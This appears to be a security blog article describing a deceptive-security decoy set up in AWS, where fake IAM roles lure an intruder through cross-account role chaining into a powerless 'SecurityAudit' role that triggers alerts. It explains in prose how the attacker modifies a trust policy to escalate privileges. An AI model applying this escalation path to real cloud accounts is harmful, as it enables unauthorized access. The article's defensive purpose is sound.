<p><span data-contrast="none">As in the previous scenarios, </span><b><span data-contrast="none">where we used Deceptive </span></b><b><span data-contrast="none">Security </span></b><b><span data-contrast="none">for the detection of attackers already introduced into the IS</span></b><span data-contrast="none">, the aim is once again to avoid attracting opportunistic attackers to our network with a &#8220;search&#8221; Deceptive</span><span data-contrast="none"> Security</span><span data-contrast="none"> approach. We therefore assume an initial infection of some kind, which is highly probable (all the more so in poorly controlled Cloud environments), and concentrate on detecting the intruder as it is being deployed </span><span data-contrast="none">in</span><span data-contrast="none">to </span><span data-contrast="none"> the network.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335557856&quot;:16777215,&quot;335559739&quot;:450,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">Applying this approach to an AWS environment is no innocent matter. One of the benefits of the Cloud lies in its simplified identity management and easy delegation of access, but </span><b><span data-contrast="none">this asset can turn to the advantage of attackers</span></b><span data-contrast="none"> in the event of unintentional exposure of resources</span><span data-contrast="none">,</span><span data-contrast="none"> or the creation of dangerous links between zones of different security levels. There is no shortage of hardening and prevention measures, generously promoted by Cloud providers themselves, but these vulnerabilities remain </span><span data-contrast="none">in </span><span data-contrast="none">poorly hardened accounts and subscriptions, whose administration too often obeys rules that are still informal.  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335557856&quot;:16777215,&quot;335559739&quot;:450,&quot;335559740&quot;:259}"> </span></p>
<p><b><span data-contrast="none">The attack scenario</span></b> <b><span data-contrast="none">and associated luring will therefore be based on the principle of linking two AWS accounts</span></b><span data-contrast="none">, here conceived as a production environment and a less critical development environment. We&#8217;ll place ourselves in a scenario where an approval relationship is used to propagate from the development account to the production account, via the endorsement of a cross-account role.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335557856&quot;:16777215,&quot;335559739&quot;:450,&quot;335559740&quot;:259}"> </span></p>
<p> </p>
<h2 aria-level="1"><span data-contrast="none">Luring scenario </span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:0,&quot;335559740&quot;:259}"> </span></h2>
<h3 aria-level="2"><span data-contrast="none">Description of the scenario  </span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335559738&quot;:40,&quot;335559739&quot;:0,&quot;335559740&quot;:259}"> </span></h3>
<p><span data-contrast="none">Let&#8217;s assume that </span><b><span data-contrast="none">an unauthorized user has gained access to an EC2 machine</span></b><span data-contrast="none"> (domainIntegrated-EC2) within the test account (initial infection). After an initial successful connection, </span><span data-contrast="none"> they </span><span data-contrast="none"> attempt</span><span data-contrast="none"> to access commonly used resources such as Amazon Simple Storage Service (Amazon S3), or </span><b><span data-contrast="none">tries to elevate </span></b><b><span data-contrast="none">their </span></b><b><span data-contrast="none"> privileges</span></b><span data-contrast="none"> by assuming other roles (role chaining) related to the role to which </span><span data-contrast="none">they have </span><span data-contrast="none"> access. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335557856&quot;:16777215,&quot;335559739&quot;:450,&quot;335559740&quot;:259}"> </span></p>
<p><b><span data-contrast="none">This lateral propagation scenario is a common attack technique in cloud environments</span></b><span data-contrast="none"> due to the nature of their architecture and the cloud computing responsibility model, where the customer is responsible for securing their applications, data and access control (while the provider ensures the security of the underlying infrastructure).</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335557856&quot;:16777215,&quot;335559739&quot;:450,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">As illustrated below, </span><b><span data-contrast="none">lateral propagation attacks take advantage of weaknesses in the customer&#8217;s security controls</span></b><span data-contrast="none">, such as misconfigured authorizations or the application of too-weak authentication mechanisms, to gain unauthorized access to other resources in the environment.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335557856&quot;:16777215,&quot;335559739&quot;:450,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: center;"><img loading="lazy" decoding="async" class="aligncenter wp-image-22454 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/1.jpg" alt="" width="1269" height="655" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/1.jpg 1269w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/1-370x191.jpg 370w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/1-71x37.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/1-768x396.jpg 768w" sizes="auto, (max-width: 1269px) 100vw, 1269px" /><br /><i><span data-contrast="none">Scenario from the attacker&#8217;s point of view</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:1135,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:1135,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<p><span data-contrast="none">0. After compromising a &#8220;domainIntegrated&#8221; EC2 machine, the attacker discovers that it has a role associated with it (&#8220;Semi-Admin-role&#8221;): </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: center;"><img loading="lazy" decoding="async" class="aligncenter wp-image-22456 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/2.jpg" alt="" width="1242" height="125" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/2.jpg 1242w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/2-437x44.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/2-71x7.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/2-768x77.jpg 768w" sizes="auto, (max-width: 1242px) 100vw, 1242px" /> <br /><i><span data-contrast="none">Enumeration of EC2 machine domainIntegrated</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:720,&quot;335559739&quot;:0,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">It then lists the rights of the &#8220;Semi-Admin-Role&#8221;:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:1135,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<p style="text-align: center;"><img loading="lazy" decoding="async" class="aligncenter wp-image-22458 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/3.jpg" alt="" width="1172" height="544" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/3.jpg 1172w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/3-411x191.jpg 411w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/3-71x33.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/3-768x356.jpg 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/3-1170x544.jpg 1170w" sizes="auto, (max-width: 1172px) 100vw, 1172px" /> <br /><i><span data-contrast="none">Enumeration of Semi-Admin-Role rights</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:720,&quot;335559739&quot;:0,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">First, this role has </span><b><span data-contrast="none">modification privileges </span></b><span data-contrast="none">on a resource in the &#8220;AWS &#8211; SHARED&#8221; account: it can assume (sts:assumeRole) and modify (iam:UpdateRole) a role called &#8220;LambdaAuto&#8221;. He can then assume (by &#8220;role chaining&#8221;, step 5 in the diagram above) another role called &#8220;SecurityAudit&#8221; in a different account, called AWS MASTER. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335557856&quot;:16777215,&quot;335559739&quot;:450,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">The attacker also realizes that </span><span data-contrast="none">they </span> <b><span data-contrast="none">can directly assume another role</span></b><span data-contrast="none"> (&#8220;IAM-RO-Role&#8221;) in the AWS &#8211; MASTER account. This latter role attracts particular attention, as the MASTER account&#8217;s name suggests a </span><b><span data-contrast="none">much greater scope of action</span></b><span data-contrast="none"> than the simple SHARED account, and the IAM-RO-Role role suggests an extended scope of vision over the account&#8217;s resources.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335557856&quot;:16777215,&quot;335559739&quot;:450,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:1135,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<ol>
<li><span data-contrast="none">The attacker assumes the &#8220;SemiAdmin-role&#8221;, which then allows </span><span data-contrast="none">the</span><span data-contrast="none">m </span><span data-contrast="none"> to assume the &#8220;IAM-RO&#8221; role and attempt other actions that will enable </span><span data-contrast="none">them</span><span data-contrast="none"> to analyze </span><span data-contrast="none">their</span><span data-contrast="none"> field of vision.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="%1" data-font="Tahoma" data-listid="24" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:0,&quot;335559684&quot;:-1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769242&quot;:[65533,0],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;%1&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="1" data-aria-level="1"><span data-contrast="none">Indeed, after assuming the &#8220;IAM-RO&#8221; role, he proceeds to an IAM enumeration where </span><span data-contrast="none">they</span><span data-contrast="none"> becomes aware of the roles and users in </span><span data-contrast="none">their</span><span data-contrast="none"> field of vision:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></li>
</ol>
<p><br /><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:360,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-22460 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/4.jpg" alt="" width="1260" height="294" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/4.jpg 1260w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/4-437x102.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/4-71x17.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/4-768x179.jpg 768w" sizes="auto, (max-width: 1260px) 100vw, 1260px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">List of roles in the field of view of the IAM-RO role </span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:1135,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:1135,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-22462 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/5.jpg" alt="" width="1222" height="213" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/5.jpg 1222w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/5-437x76.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/5-71x12.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/5-768x134.jpg 768w" sizes="auto, (max-width: 1222px) 100vw, 1222px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">List of users in the field of view of the IAM-RO role </span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:720,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<p><span data-contrast="none">The &#8220;SecurityAudit&#8221; role in particular attracts </span><span data-contrast="none">their</span><span data-contrast="none"> attention thanks to the </span><b><span data-contrast="none">privileges</span></b><span data-contrast="none"> that this name suggests and the role description, which provides information on these privileges: </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:491,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-22464 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/6.jpg" alt="" width="1264" height="76" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/6.jpg 1264w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/6-437x26.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/6-71x4.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/6-768x46.jpg 768w" sizes="auto, (max-width: 1264px) 100vw, 1264px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">SecurityAudit role description</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:207,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">However, the attacker only has read access to the resources listed. </span><span data-contrast="none">They </span><span data-contrast="none"> will therefore look to see if any of these resources can be written to from the SHARED account, where </span><span data-contrast="none">they</span> <span data-contrast="none">have</span> <span data-contrast="none">high privileges. For example, if certain MASTER account roles can be endorsed by SHARED account roles:  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-22466 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/7.jpg" alt="" width="1266" height="181" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/7.jpg 1266w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/7-437x62.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/7-71x10.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/7-768x110.jpg 768w" sizes="auto, (max-width: 1266px) 100vw, 1266px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">List of roles that can be assumed from an external account (here the SHARED account)</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:1135,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<p><span data-contrast="none">The attacker investigates the approval relationship of the &#8220;SecurityAudit&#8221; role, which authorizes an endorsement by the &#8220;LambdaAuto&#8221; role of the SHARED account.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:284,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<p><span data-contrast="none">0. Back on the SHARED account, all the attacker has to do is check that the other counterpart of this approval relationship, i.e. that the &#8220;LambdaAuto&#8221; role does indeed authorize the &#8220;SecurityAudit&#8221; role&#8217;s endorsement in its approval policy. This is not the case, but the &#8220;SemiAdminRole&#8221; role allows it to configure this authorization.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">1.Once the &#8220;LambdaAuto&#8221; role approval policy has been modified, it can now assume the &#8220;LambdaAuto&#8221; role.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">2. Then </span><span data-contrast="none">they </span><span data-contrast="none"> take</span><span data-contrast="none"> on (by role-chaining) the role of &#8220;SecurityAudit&#8221;, the real decoy.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:360,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-22468 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/8.jpg" alt="" width="1265" height="634" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/8.jpg 1265w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/8-381x191.jpg 381w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/8-71x36.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/8-768x385.jpg 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/8-800x400.jpg 800w" sizes="auto, (max-width: 1265px) 100vw, 1265px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">Role chaining of the attacker</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:360,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<p><span data-contrast="none">After attempting to take on the &#8220;SecurityAudit&#8221; role, from which </span><span data-contrast="none">they</span><span data-contrast="none"> hope</span><span data-contrast="none"> to gain the privileges of a security auditor (announced in step 1), the attacker in reality finds </span><span data-contrast="none">themself</span><span data-contrast="none"> without any real powers, for example :</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:207,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-22470 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/9.jpg" alt="" width="1267" height="78" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/9.jpg 1267w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/9-437x27.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/9-71x4.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/9-768x47.jpg 768w" sizes="auto, (max-width: 1267px) 100vw, 1267px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">Example of denied access from the SecurityAudit </span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:491,&quot;335559739&quot;:160,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<h3 aria-level="2"><span data-contrast="none">Creating lures</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:1418,&quot;335559738&quot;:240,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:851}"> </span></h3>
<p><span data-contrast="none">The diagram below shows how decoys are added at different stages of the attack and how they are configured by the defender:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:257}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-22472 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/10.jpg" alt="" width="1278" height="744" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/10.jpg 1278w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/10-328x191.jpg 328w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/10-67x39.jpg 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/10-120x70.jpg 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/10-768x447.jpg 768w" sizes="auto, (max-width: 1278px) 100vw, 1278px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">Scenario from the defender&#8217;s point of view </span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:1135,&quot;335559739&quot;:160,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:1135,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<p><span data-contrast="none">0.The &#8220;Semi-Admin-Role&#8221; is the </span><b><span data-contrast="none">entry point</span></b><span data-contrast="none"> into the decoy scenario. It can therefore be associated with any resource likely to be compromised (here the EC2 &#8220;domainIntegrated&#8221;) to redirect the attacker to the decoys.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="none">No alerts are configured at this level, as the Semi-Admin role&#8217;s connection to all SHARED account resources makes it likely that unintentional endorsements will be triggered, resulting in false-positive alerts.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:720,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<ol>
<li data-leveltext="%1" data-font="Tahoma" data-listid="19" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:0,&quot;335559684&quot;:-1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769242&quot;:[65533,0],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;%1&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="1" data-aria-level="1"><span data-contrast="none">Once the IAM-RO role has been assumed, the attacker is then invited into an account entirely dedicated to luring and </span><span data-contrast="none">familiarising</span> <span data-contrast="none">themselves </span><span data-contrast="none"> with the surrounding resources, </span><b><span data-contrast="none">gaining a complete overview of all the account&#8217;s roles and users.</span></b><span data-contrast="none">  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="%1" data-font="Tahoma" data-listid="19" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:0,&quot;335559684&quot;:-1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769242&quot;:[65533,0],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;%1&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="1" data-aria-level="1"><span data-contrast="none">By populating the attacker&#8217;s field of vision not only with the main &#8220;SecurityAudit&#8221; decoy, but also with other dummy roles and users, we ensure that the account&#8217;s appearance appears credible and that our key decoy, the SecurityAudit role, is not isolated.  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></li>
</ol>
<p><span data-contrast="none">We thus add to the account :  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:720,&quot;335559739&quot;:120,&quot;335559740&quot;:259,&quot;335559991&quot;:284}"> </span></p>
<ul>
<li data-leveltext="o" data-font="Courier New" data-listid="16" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:1080,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Courier New&quot;,&quot;469769242&quot;:[9675],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;o&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="1" data-aria-level="2"><span data-contrast="none">Users : different user names attracting the attacker. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:1094,&quot;335559739&quot;:96,&quot;335559740&quot;:259,&quot;335559746&quot;:40}"> </span></li>
<li data-leveltext="o" data-font="Courier New" data-listid="16" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:1080,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Courier New&quot;,&quot;469769242&quot;:[9675],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;o&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="2" data-aria-level="2"><span data-contrast="none">The &#8220;LambdaFunction&#8221; role: this role is created to simulate a Lambda function that calls on AWS services. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:1094,&quot;335559739&quot;:96,&quot;335559740&quot;:259,&quot;335559746&quot;:40}"> </span></li>
<li data-leveltext="o" data-font="Courier New" data-listid="16" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:1080,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Courier New&quot;,&quot;469769242&quot;:[9675],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;o&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="3" data-aria-level="2"><span data-contrast="none">The &#8220;LogsAndS3Bucket&#8221; role: a role created to facilitate access to logging services and S3 storage resources within the account. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:1094,&quot;335559739&quot;:96,&quot;335559740&quot;:259,&quot;335559746&quot;:40}"> </span></li>
<li data-leveltext="o" data-font="Courier New" data-listid="16" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:1080,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Courier New&quot;,&quot;469769242&quot;:[9675],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;o&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="4" data-aria-level="2"><span data-contrast="none">The &#8220;taskExecutionRole&#8221;: the task execution role that can be used for different purposes and services associated with the account. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:1094,&quot;335559739&quot;:96,&quot;335559740&quot;:259,&quot;335559746&quot;:40}"> </span></li>
</ul>
<p><span data-contrast="none">3.  The &#8220;SemiAdminRole&#8221; role has deliberately been configured with permission (iam:UpdateRole) on the &#8220;LambdaAuto&#8221; role, enabling it to modify this role and thus add the approval relationship to the &#8220;SemiAdminRole&#8221; role. For monitoring purposes, an initial alert can be triggered at this level when the &#8220;LambdaAuto&#8221; approval relationship is updated, enabling the &#8220;SemiAdminRole&#8221; to assume it.  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
<p><span style="color: initial;" data-contrast="none">4. The &#8220;LambdaAuto&#8221; role is deliberately created as the gateway to the &#8220;SecurityAudit&#8221; role, once its approval relationship has been modified using the privileges of the &#8220;SeminAdminRole&#8221; role.</span><span style="color: initial;" data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:120,&quot;335559740&quot;:259}"> </span></p>
